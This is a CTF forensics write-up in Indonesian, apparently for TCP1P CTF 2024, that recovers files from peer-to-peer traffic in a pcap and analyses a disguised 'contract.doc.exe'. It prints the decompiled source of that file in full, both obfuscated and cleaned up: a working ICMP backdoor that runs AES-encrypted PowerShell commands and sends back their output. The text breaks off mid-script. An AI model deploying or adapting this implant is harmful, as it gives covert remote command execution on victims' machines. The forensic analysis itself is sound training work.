# TCP1P CTF 2024
[toc]
# Direct Love 🩸
## Summary
>My fiancée, Mizuhara Chizuru, lent her laptop to one of her friends. Her friend downloaded files using a peer-to-peer protocol on Windows. However, not long after, one of Chizuru's important documents went missing. There's always something with my fiancée :D
> Author: **C2uru**
> file : [direct-love.zip](https://ctf.tcp1p.team/assets/6de4e96227fbc181db0c4517c3d872f7a99fb9e91ae97d21161c389028ca4a10/d04b9f8d64f85306b2eb3782a046d75081f1c84d06b890fe979f016e9f24572a.zip)
Diberikan sebuah zip yang berisi file pcapng dengan traffic seperti berikut

Dapat dilihat bahwa traffic dalam file ini berfokus dengan protocol TCP dan ICMP. Lalu dapat kita lihat bahwa pada traffic ini berfokus pada IP 192.168.56.1 dan 192.168.56.101

lalu dicobalah analisa pada protokol TCP terlebih dahulu dengan menggunakan follow TCP stream pada salah satu paket TCP, dan disini terlihat pula bahwa terdapat total 4 TCP stream

dari sini kita dapat melihat *behaviour* atau sifat protokol asli pada traffic. Dapat terlihat bahwa terdapat sebuah percakapan dengan dengan menggunakan sebuah protokol tertentu, hal ini dapat dilihat dengan adanya penggunaan sebuah command unik seperti `$ConnectToMe` dan `$MyINFO $ALL`. Dengan dua command tersebut kita dapat mencari tahu protocol apa yang sebenarnya digunakan, dan ternyata protocol yang digunakan tersebut adalah [ADC](https://adc.dcbase.org/Protocol) yang mirip dengan protokol [NMDC](https://nmdc.sourceforge.io/NMDC.html) yang bisa kita sebut sebagai protokol peer-to-peer ([p2p](https://en.wikipedia.org/wiki/Peer-to-peer)).

Hal ini pun diperkuat oleh TCP Stream selanjutnya yang memuat command lainnya

## Exploit
### recover file dari traffic
Dari informasi yang kita dapatkan dapat kita simpulkan kita harus merecovery data dari traffic ADC Protokol. Untuk ADC sendiri memiliki behaviour tersendiri dalam mengirim atau menerima data. Secara singkat dapat dikatakan seperti ini
- melakukan pertukaran data yang sudah di compress menggunakan zlib
- selalu memberikan list file dalam bentuk compressed XML
- dalam XML terdapat sebuah TTH Hash yang merupakan identifier pada file
- hash ini akan digunakan pada command ADC untuk melakukan pertukaran data
- file dengan ukuran besar akan dibagi menjadi beberapa bagian
- bagian file pun akan dikirim dengan paket-paket yang lebih kecil
- sistemnya sama seperti p2p pada umumnya, yaitu client akan meminta file dengan offset tertentu yang belum dimiliki oleh client, dan server akan mengirimkan bagian file tersebut secara berkala menggunakan paket yang lebih kecil
hal pertama yang dilakukan adalah mengambil data XML untuk mengetahui file apa saja yang di transfer. untuk hal tersebut kita dapat mencapainya dengan 2 cara yaitu ambil stream yang mengirimkan XML lalu kita decompress atau langsung saja kita `binwalk` pcapng nya
```shell
> binwalk -e Direct-Love.pcapng
```
dapat dilihat disini kita langsung mendapatkan beberapa XML sekaligus

dan berikut adalah isinya

dari file tersebut kita dapat mengetahui ada file yang menarik yaitu `secret.pdf` dan `contract.doc.exe` beserta TTH Hashnya, dan saat kita lihat di streamnya ternyata dua file tersebut lah yang di transfer


dan setelah dianalisa dua file tersebut berada pada TCP stream yang berbeda (pdf pada TCP stream 3, doc.exe pada TCP stream1). Dan untuk bagian file-filenya pun terstruktur, dapat dilihat pada file `contract.doc.exe` pada TCP stream 1

fokus pada command `$ADCGET file` yang memiliki struct seperti ini (structnya pun mirip dengan `$ADCSND file`)
>$ADCGET file TTH/<TTH Hash file> <start offset> <end offset> ZL1
dari situ dapat dilihat paket sudah tersedia secara sequence sehingga kita hanya perlu mengambil secara berurutan, berikut scriptnya
```python
import pyshark
pcap_file = "Direct-Love.pcapng"
display_filter = 'tcp.stream eq 3 and ip.src == 192.168.56.101'
cap = pyshark.FileCapture(pcap_file, display_filter=display_filter)
f = open("datafull3","ab")
for packet in cap:
if 'TCP' in packet:
tcp_stream = packet.tcp.stream
src_ip = packet.ip.src
if hasattr(packet.tcp, 'payload'):
tcp_data = bytes.fromhex(packet.tcp.payload.replace(':', ''))
f.write(tcp_data)
cap.close()
f.close()
```
dan berikut hasilnya

lalu lakukan cleaning (karena kita hanya perlu packet yang menyimpan zlib compressed saja dan memuat file yang ingin kita recover) sehingga seperti ini

langsung saja kita ambil data yang memuat compressed zlibnya dan kita decompress menggunakan script berikut
```python
import re
import zlib
data = open('datafull5','rb').read()
rule = re.compile(rb'x\^.*?(?=\$ADC|$)', flags=re.S)
matches = rule.findall(data)
file = open('res3','ab')
x = 0
for match in matches:
x += 1
try:
z = zlib.decompressobj()
dm = z.decompress(match)
file.write(dm)
except Exception as e:
print(x, e)
c = open(f'fail{x}','wb').write(match)
file.close()
```
dan berikut hasilnya

terlihat sepertinya file pdf tersebut sudah ter-encrypt (hal ini pun bisa kita pastikan dengan adanya extension tambahan `.wkwk` pada list file nya) oleh karena itu mari kita coba recover `.exe` nya terlebih dahulu
disini saya menggunakan approach berbeda dengan TCP stream 3 karena pada TCP stream 1 terdapat beberapa packet yang error dan sepertinya pyshark ignore packet tersebut

disini saya menggunakan filter pada follow TCP Stream (filter conversation dan membuat data as raw)

lalu saya save as ke `datafull6`

dan berikut hasilnya

cleaning terlebih dahulu lalu gunakan script sebelumnya untuk decompress zlib dan berikut hasilnya

dapat terlihat bahwa untuk file `contract.doc.exe` ini tidak ter-encyrpt tidak seperti file `.pdf` sebelumnya, maka bisa dipastikan kedua file ini berhubungan.
### decompile file exe
mari kita coba analisa secara singkat file exe tersebut
```shell
> strings res3
```
dari sini dapat dilihat bahwa sepertinya file exe tersebut merupakan hasil compile script python

langsung saja saya up ke [pylingual](https://pylingual.io/) dan berikut hasilnya
```python
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: server.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
from scapy.all import *
import subprocess
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
import base64
import zlib
import base64
def zenlesszonezero(input_bytes):
return zlib.compress(input_bytes.encode())
def Zenonia(compressed_bytes):
return zlib.decompress(compressed_bytes).decode()
def gasskann(gg_bang):
gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr)
wibuuuuuuuuuuuuuu = pad(gg_bang, AES.block_size)
anjirrrrrrr = gacorrrrrrrr.encrypt(wibuuuuuuuuuuuuuu)
return bjirrrrrrrrrrrrrrrrrrr + anjirrrrrrr
def ashiap(bjrit):
bjirrrrrrrrrrrrrrrrrrr = bjrit[:16]
anjirrrrrrr = bjrit[16:]
gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr)
wibuuuuuuuuuuuuuu = gacorrrrrrrr.decrypt(anjirrrrrrr)
return unpad(wibuuuuuuuuuuuuuu, AES.block_size)
def kazuyabjirrrrrrrrrr(ezChangli):
try:
if len(ezChangli) > 30000:
wrth = base64.b64decode(ezChangli).decode('utf-16le')
minecraft = ['powershell', wrth]
else: # inserted
minecraft = ['powershell', '-EncodedCommand', ezChangli]
genshinImpact = subprocess.check_output(minecraft, stderr=subprocess.STDOUT, universal_newlines=True)
return genshinImpact
except subprocess.CalledProcessError as e:
genshinImpact = e.output
return genshinImpact
def bengsky(kiaraaa):
return len(kiaraaa) < 1024
def yellowww(Maling):
if Maling.haslayer(ICMP) and Maling[ICMP].type == 8 and Maling.haslayer(Raw):
msfir = Maling[IP].src
azuketto = Maling[ICMP].seq
kiaraaa = Maling[Raw].load
if msfir not in kiaraaa_buffer:
kiaraaa_buffer[msfir] = []
kiaraaa_buffer[msfir].append((azuketto, kiaraaa))
print(f'Received kiaraaa {azuketto} from {msfir}')
if bengsky(kiaraaa):
cutelittlebirb = b''.join([solderet for _, solderet in sorted(kiaraaa_buffer[msfir])])
ezChangli = Zenonia(ashiap(cutelittlebirb))
LKazuya = kazuyabjirrrrrrrrrr(ezChangli)
if len(LKazuya) == 0:
LKazuya = 'success'
hoaaaaaahm = gasskann(zenlesszonezero(LKazuya))
del kiaraaa_buffer[msfir]
yoasobi(hoaaaaaahm, msfir, Maling[ICMP].id)
def yoasobi(gataubjrit, Mau_kemana_kita, booyah):
MAX_kiaraaa_SIZE = 1024
kiaraaas = [gataubjrit[i:i + MAX_kiaraaa_SIZE] for i in range(0, len(gataubjrit), MAX_kiaraaa_SIZE)]
for kiara123, kiaraaa in enumerate(kiaraaas):
reply = IP(dst=Mau_kemana_kita, src=MizuharaChizuru) / ICMP(type=0, seq=kiara123, id=booyah) / kiaraaa
send(reply)
print(f'Sent kiaraaa {kiara123 + 1}/{len(kiaraaas)} of gataubjrit')
def gabutt(MizuharaChizuruPretty):
if not MizuharaChizuruPretty.haslayer(ICMP) or MizuharaChizuruPretty[ICMP].type == 8:
ezChangli = ashiap(Zenonia(MizuharaChizuruPretty[Raw].load))
print(f'{ezChangli}')
LKazuya = kazuyabjirrrrrrrrrr(ezChangli)
if len(LKazuya) == 0:
LKazuya = 'success'
hoaaaaaahm = IP(dst=MizuharaChizuruPretty[IP].src, src=MizuharaChizuru) / ICMP(type=0) / zenlesszonezero(gasskann(LKazuya))
send(hoaaaaaahm)
def kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(awokawokawokawokawokawokawokawokawokawokawokawok):
if len(awokawokawokawokawokawokawokawokawokawokawokawok)!= 32:
return False
if ord(awokawokawokawokawokawokawokawokawokawokawokawok[0]) ^ 205159573243964824737299055634219568431425393093966110759400764283677572127787 ^ 173438557617046994740268237909681699856296019683243567021195924658018589018903 == 84537522163133512712798803067162590725054291695882455854042202399512022210394 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) * 162494310648658200012862524540051780636413417878626535838725154491130938306481 % 195058868702908667776267085193295799561528929723257041839747686100985003927251 == 192431031722155557342984855383949287648215798967049088508647657635869885548299 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) >> (ord(awokawokawokawokawokawokawokawokawokawokawokawok[151244431611715386709405295427990705569837850570734658634219328116519491973958]) >> (ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) | (ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[3]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[6]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[151244431611715386709405295427990705569837850570734658634219328116519491973958]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[9]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[10]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[11]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[12]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34967568471296017085928006251512630841377292388]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[177882818520121930146048357479318156034980376337314021987435285709653355602623]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[223421758885926246028379197342793581801600698205469559280956909002798064333220]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[213]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[209283825236870728108795504436518862758898641660764912471694788781672098710497]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[68]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[123772702489839681973635644532466572473607067530754438100981398346883113920296]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[140]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[205902649635755580703010725811204104880093096195602756256202759621195005547387]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[172]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[13]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[191110997079291003886243920110265359868927528775615636607149409815719553018286]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[203502071766785860328949160274923202972577704040667994653638555977843864283024]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[46784198301386614834492076010478856478791434675045915130379418070814796582415]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[14]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[196304600276030441717203047793990291753677613346535569350358632461910478331551]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[228188132596927174240201320565066612978089566161838459847187087960904632401916]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[33693004706189283263780318189072261648330420986111978542300002073853895827802]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[15]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[160673928596956747585215127845421421241617867509048866522228214873677517286155]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[211838851397605725599441667381614970040407649476387313769902668442103668164628]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[86149922340117762510426110842089298142982259284402297350458250020788775808832]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[16]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[129933060553846437718252540370820819460825657759431927658325212603758218003089]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34648009544446514315497695836498474173573379577965071378217963496273404580428]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[17]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[18]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[19]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[20]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[21]) % (ord
return True
else: # inserted
pass # postinserted
return False
bjirrrrrrrrrrrrrrrrrrr = get_random_bytes(16)
MizuharaChizuru = '192.168.56.101'
ChizuruMizuhara = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}'
WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = str(input())
if not kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK):
raise '?'
kiaraaa_buffer = {}
WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = bytes.fromhex(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK)
RET2LIBC = 0
print('...')
sniff(iface=ChizuruMizuhara, filter='icmp', prn=yellowww)
```
### recover aes key
sepertinya file tersebut terkena obfuscated dan secara sekilas script tersebut merupakan ICMP listener yang akan mengtamper paketnya menggunakan AES mari kita coba recover AES key nya terlebih dahulu, karena terlihat seperti persamaan saja pada fungsinya sehingga kita bisa merecover tanpa deobfuscated terlebih dahulu. berikut scriptnya (seharusnya bisa menggunakan z3 tapi penulis lebih memilih cara barbar)
```python
AESkey = ''
for i0 in range(256):
if i0 ^ 0x1C59434157D3CC5C0CBC8D6DC02829495C788A9DBBFF2DE1E78648DC30BF0DC2B ^ 0x17F72BEAECB88ADF2DB3938AAAAB9CF6EDC0783FC48DC33EF14B8E7FBF4030B17 == 0xBAE68ABBB6B4683210F1EE76A83B5BFB1B8F2A27F72EEDF16CDC6A38FFF3D75A:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 * 0x16740854518DF2EA1657D27CE6B01C05086BBBF1CB2802F04C6C54E69897AAFB1 % 0x1AF3F684363BC2A1C0DB2F3D6812A60EC5D77BF04C711F81E78529D7C736066D3 == 0x1A9701AB0782E53FCF134510662DF4B1705F5BBA7244C0440F068B5D43351470B:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 * 0x14E61508FE9FA732B9710920C44347E1DABD7C0BE88BE684F1769BDF57A0DB346 % 0x113F1B22D1B3C1884382491E066CCD1CA5C9BE6A8E86689DC4A586E206BE55B43 == 0x2D7CBCC3B3580A379AD255757F701DB73D21E174FC7852EB8BCAAAAE709AEFF2:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if int(format(i0, 'o')) ^ 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B14 == 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B29:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x17A16D26F9760AA550B5F840E3EE93ABC33D2F04349CDC4E30377DC04659BF508) % 256 == 110:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 * 0x179C53E1010297ED481DF9E8AB4B6FF6DB4261D9A8091863F50975276AE3A6014 % 0x1A6F53F5AAF1C46EB1710B54AA6AE95B69CAC65E67DF15991267A60A3AFB6EEAA == 0x10D593B9F4C393B8B761E2B7A7AB07D38A086FC1C680FC73A9C39C7FAFCAA3A78:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1EE7355295E254A569DDA5FFCF6F76564A1FEEF89CE139C965684168A5BF6E837) % 256 == 111:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(0,256):
try:
if i0 ^ 0x1B1FE62CCD12D4121DFC48286E16D21CA772521811D09AB587B5630A7DC81862E >> 0xA775C05707307D708AA70410BF0A65B1C249287FC53CC769028A01B602BE3924 * i0 ^ i0 % i0 << i0 + i0 == 0x620000000000000000000000000000000000064:
print(chr(i0))
AESkey += chr(i0)
break
except Exception as e:
print('erreor', e)
AESkey += '?'
pass
for i0 in range(256):
if (i0 + 0x189461B7D908379B8AB0EB80DF5F1962FF90AD201A3BE370B00E0911243F522BF) % 256 == 34:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1EDF43BF6921FBC6B43B794653E72057D3C6C4410F34E1A0A4AF174DBFDE5F1A4) % 256 == 213:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1CEB272861475D38612F33A177FDCA9C6250DCE2D619E718DCA06F83DBC4043E1) % 256 == 68:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x111A4DDF5A00B9373C7E8695BB23DAF8062C478A57DC0AA579EE69417E017A728) % 256 == 140:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1C738C510B7C2E2562935301E1D01BD3E526BF2B6D9FBED520280020C3D11D37B) % 256 == 172:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 ^ 0x1A684FDBA4E1C5AC7773537CFB678FBB54CB24DE6BFAC6F1807612A5A21E829AE ^ 0x1C1EA1742BFFCD3267BA6B8ED813D3E164E4069001907FCD42230E2E0E1DCA790 == 0x676EEAF8F1E089E10C938F223745C5A302F224E6A6AB93CC2551C8BAC0348E0F:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 ^ 0x1B20077638558416EB947F1F246000FD3FC2168F54D62084AF8811154599E9E9F ^ 0x1F87DE7F96C8AB4A92888E158C8195AC1E9C46AF24DCB134210F0164E3F287FFC == 0x4A7D909AE9D2F5C791CF10AA8E19551215E5020700A91B08E871071A66B6E15A:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 * 0x1633A388A11C683B5ABF8E6BABB8D4B6D3B41C912ADA609409CAAF4E70D4FEB0B % 0x1D4588A7995E8722D0E1F46C973ECCAC1158D9F0CDC7B99B4DCAC29E458064814 == 0xBE7720CA4088A3BA42454EAEDD31A154146B55B18DC01EAE57D807361E19EF40:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(0,256):
try:
if i0 ^ 0x11F438191D6F5840FAE20242D792FAAEA4C466801CC307E4C3A7DDC69EEB34291 >> 0x4C9A14151D062384AF3E08791BC4782BB5F541AB6337FA5B2BA69ECB89B5524C * i0 ^ i0 % i0 << i0 + i0 == 0x1C8000000000000000000000000035:
print(chr(i0))
AESkey += chr(i0)
break
except Exception as e:
print('erreor', e)
AESkey += '?'
pass
for i0 in range(256):
if i0 * 0x12088CD4A74ADF9C9106019F227B5D6799FDB90AE5189615B3418FED04F6CCC8B % 0x13E1969C6CE32AE7BC0BA2FA42E521A71081848E9522584C8727F6CB20AF67DA3 == 0xFCF63F7540288FCFF0A85EE7A3BDC0876349688FCAB95CCD089482CB3BA83492:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x192B498C56D10044247AD142429A059F769407838C08CC74721FBB9915EA2EE7B) % 256 == 180:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1E6CA62A1BBE1572E5092A153D8CBCAC1B5A0DB31542E5EBCD6B5313225B95D27) % 256 == 136:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 ^ 0x1259F222BE4B210D359B761FA4309295E8A928C5829CA2BF876C018407AB19BE0 ^ 0x1331876F91705B77820E694D7C62976AC6B2AC7E25AF0ECED8C194B8B98F25BA8 == 0x168754D2F3B7A7AB7951F52D85205FF2E1B84BBA733AC715FAD953CBE243C071:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1BD52E3F20A69859770745A6EEC6D3810FFD6773ED3E2A10200D93C0DB37F0EC4) % 256 == 250:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x145831CC88E273608B9F2205BAC8C2E3CAE65F574829E442114F8C2207EE32B6C) % 256 == 157:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x198E4DABDEE1179F7D4092D5E2208110E518CB31708F9C6336DC666EDFC8484AA) % 256 == 223:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 ^ 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC677 == 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC612:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1007D88C5C57065A9DD3AE28DACE58214AB85927D8F03C207A923CBDD875874B8) % 256 == 236:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1690B92CCC40F3439EB8A682B751B0C7AA23669E19166E52D9B7058C254BC1D57) % 256 == 138:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 ^ 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08113 == 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08171:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if (i0 + 0x1807BD7F90F445C98B17365BA6611E5D694FF44072DBE8AED45EC9F5957878254) % 256 == 184:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 * 0x149331111B35BF53655E0BF224A63D19A4B38A5665E6B7A06FB099DBACE9481AE % 0x102A14368B493161415CEC124D876391470A07A1392D42502B5450744DDB2081C == 0x1E03C2C2889A52E7CC0404ACB1E6C8F5D4A27A4231518C25E30E64DC339A4BA:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 * 0x1041D420E124872008EFFCFC6010E5B6D0F0301EA10C3DD80DAA776F8B3E947B6 % 0x168EF3A2189D80198564293C6B9C739560E68D6038CC571FC460206DC4BB0AC6E == 0xB770BE0AFA44F7C860F0A53971E913E9DF4DBC3F89BCC0672825724619916726:
print(chr(i0))
AESkey += chr(i0)
break
for i0 in range(256):
if i0 ^ 0x17777376A529C6674F02B3DC88649F1514EB6631D53167714CB5ECA2B43B9A4E0 ^ 0x1CBA893260FEF9E39ED652E048DACA599F28D098FF6EA1331449172D0F1A225E0 == 0xBCDFA44C5D73F84D1D4E13CC0BE554C8BC3B6A92A5FC64258FCFB8FBB21B8139:
print(chr(i0))
AESkey += chr(i0)
break
print(AESkey)
```
terdapat sebuah edge case terutama pada persamaan yang memiliki modulo sehingga kita ganti menggunakan `?` dan sepertinya kita butuh bruteforce untuk char `?` dan berikut AES Key hasil script
```shell
% python3 brute-aeskey.py
f
0
0
1
f
a
8
erreor integer division or modulo by zero
c
1
c
d
1
1
9
0
erreor integer division or modulo by zero
8
9
a
9
6
1
5
e
4
3
b
d
7
f
9
f001fa8?c1cd1190?89a9615e43bd7f9
```
untuk brute AES key nya kita dapat mengambil satu packet lalu kita coba decrypt menggunakan script berikut
```python
def brute(f):
hexchar = '0123456789abcdef'
for x in hexchar:
for y in hexchar:
key = bytes.fromhex(f'f001fa8{x}c1cd1190{y}89a9615e43bd7f9')
try:
data = decrypt_data(f, key)
print(key)
try :
data = decompress_data(data)
print(data)
except Exception as e:
pass
# print(e)
except Exception as e:
pass
# print(e)
brute(open('data-aes','rb').read())
```
dan kitapun dapat full AES Key
```shell
% python3 brute-aes.py
b'\xf0\x01\xfa\x8d\xc1\xcd\x11\x90X\x9a\x96\x15\xe4;\xd7\xf9'
```
atau dalam bentuk hex nya `f001fa8dc1cd1190589a9615e43bd7f9`.
### deobfuscate python script
lalu kita coba deobfuscate keseluruhan scriptnya. Dan berikut hasilnya
```python
from scapy.all import *
import subprocess
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
import zlib
import base64
def compress_data(input_bytes):
return zlib.compress(input_bytes.encode())
def decompress_data(compressed_bytes):
return zlib.decompress(compressed_bytes).decode()
def encrypt_data(data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_data = pad(data, AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
return iv + encrypted_data
def decrypt_data(data, key):
iv = data[:16]
encrypted_data = data[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
return decrypted_data
def execute_powershell(encoded_command):
try:
if len(encoded_command) > 30000:
decoded_command = base64.b64decode(encoded_command).decode('utf-16le')
command = ['powershell', decoded_command]
else:
command = ['powershell', '-EncodedCommand', encoded_command]
output = subprocess.check_output(command, stderr=subprocess.STDOUT, universal_newlines=True)
return output
except subprocess.CalledProcessError as e:
return e.output
def is_data_small(data):
return len(data) < 1024
def process_icmp_packet(packet):
if packet.haslayer(ICMP) and packet[ICMP].type == 8 and packet.haslayer(Raw):
src_ip = packet[IP].src
seq_num = packet[ICMP].seq
raw_data = packet[Raw].load
if src_ip not in packet_buffer:
packet_buffer[src_ip] = []
packet_buffer[src_ip].append((seq_num, raw_data))
print(f"Received data with sequence {seq_num} from {src_ip}")
if is_data_small(raw_data):
assembled_data = b''.join([data for _, data in sorted(packet_buffer[src_ip])])
decrypted_data = decompress_data(decrypt_data(assembled_data, aes_key))
command_output = execute_powershell(decrypted_data)
if len(command_output) == 0:
command_output = 'success'
encrypted_response = encrypt_data(compress_data(command_output), aes_key, iv)
del packet_buffer[src_ip]
send_icmp_response(encrypted_response, src_ip, packet[ICMP].id)
def send_icmp_response(response_data, dst_ip, packet_id):
MAX_DATA_SIZE = 1024
chunks = [response_data[i:i + MAX_DATA_SIZE] for i in range(0, len(response_data), MAX_DATA_SIZE)]
for idx, chunk in enumerate(chunks):
reply = IP(dst=dst_ip, src=local_ip) / ICMP(type=0, seq=idx, id=packet_id) / chunk
send(reply)
print(f"Sent chunk {idx + 1}/{len(chunks)} of response")
def icmp_listener():
sniff(iface=network_interface, filter='icmp', prn=process_icmp_packet)
iv = get_random_bytes(16)
local_ip = '192.168.56.101'
network_interface = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}'
aes_key = bytes.fromhex(input("Enter AES key: "))
packet_buffer = {}
icmp_listener()
```
dari sini dapat lihat lebih jelas bahwa alurnya adalah sebagai berikut
1. melakukan sniffing pada paket ICMP
2. membaca isi dari paket ICMP lalu exec command ps1 didalamnya
3. memberikan response hasil dari command pada paket ICMP
hal ini dapat disimpulkan agar kita mengetahui hasil command tersebut, dikarenakan ICMP sendiri memiliki behaviour dia akan memberikan response yang sama dengan request
### menganalisa request ICMP
oleh karena itu mari kita coba lihat ICMP requestnya terlebih dahulu dengan mendecrypt menggunakan AES dan kita decompress zlib
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import zlib
import pyshark
from base64 import b64decode, b64encode
import subprocess
import re
from pwn import xor
import hashlib
pcap_file = "Direct-Love.pcapng"
display_filter = 'icmp.type == 8'
cap = pyshark.FileCapture(pcap_file, display_filter=display_filter)
def fix(f):
key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9')
try:
data = decrypt_data(f, key)
data = decompress_data(data)
data = b64decode(data).decode('UTF-16LE')
print(data)
except Exception as e:
print(e)
pass
def main():
for packet in cap:
if 'ICMP' in packet:
icmp_layer = packet.icmp
src_ip = packet.ip.src
if hasattr(icmp_layer, 'data'):
print('='*21)
raw_data = bytes.fromhex(icmp_layer.data)
fix(raw_data)
main()
```
berikut hasilnya

disini kita mendapatkan informasi bahwa isi request tersebut adalah obfuscated powershell script, dan terdapat command block untuk enkripsi AES yang bisa kita simpulkan bahwa file `secret.pdf.wkwk` merupakan hasil command block tersebut, dan kita harus merecover variable `$key` terlebih dahulu.
### deobfuscate powershell command
berikut konsepnya
1. mari kita coba deobfuscated command tersebut menggunakan `echo` dan `iex`.
2. kita akan mengecho variable terpanjang namun melalui `iex` agar kita dapat melihat wujud sebenernya dari command tersebut.
3. kenapa yang terpanjang? kita berasumsi bahwa variable terpanjang akan menyimpan keseluruhan variable dan yang nantinya akan di exec
```python
def fix(f):
key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9')
try:
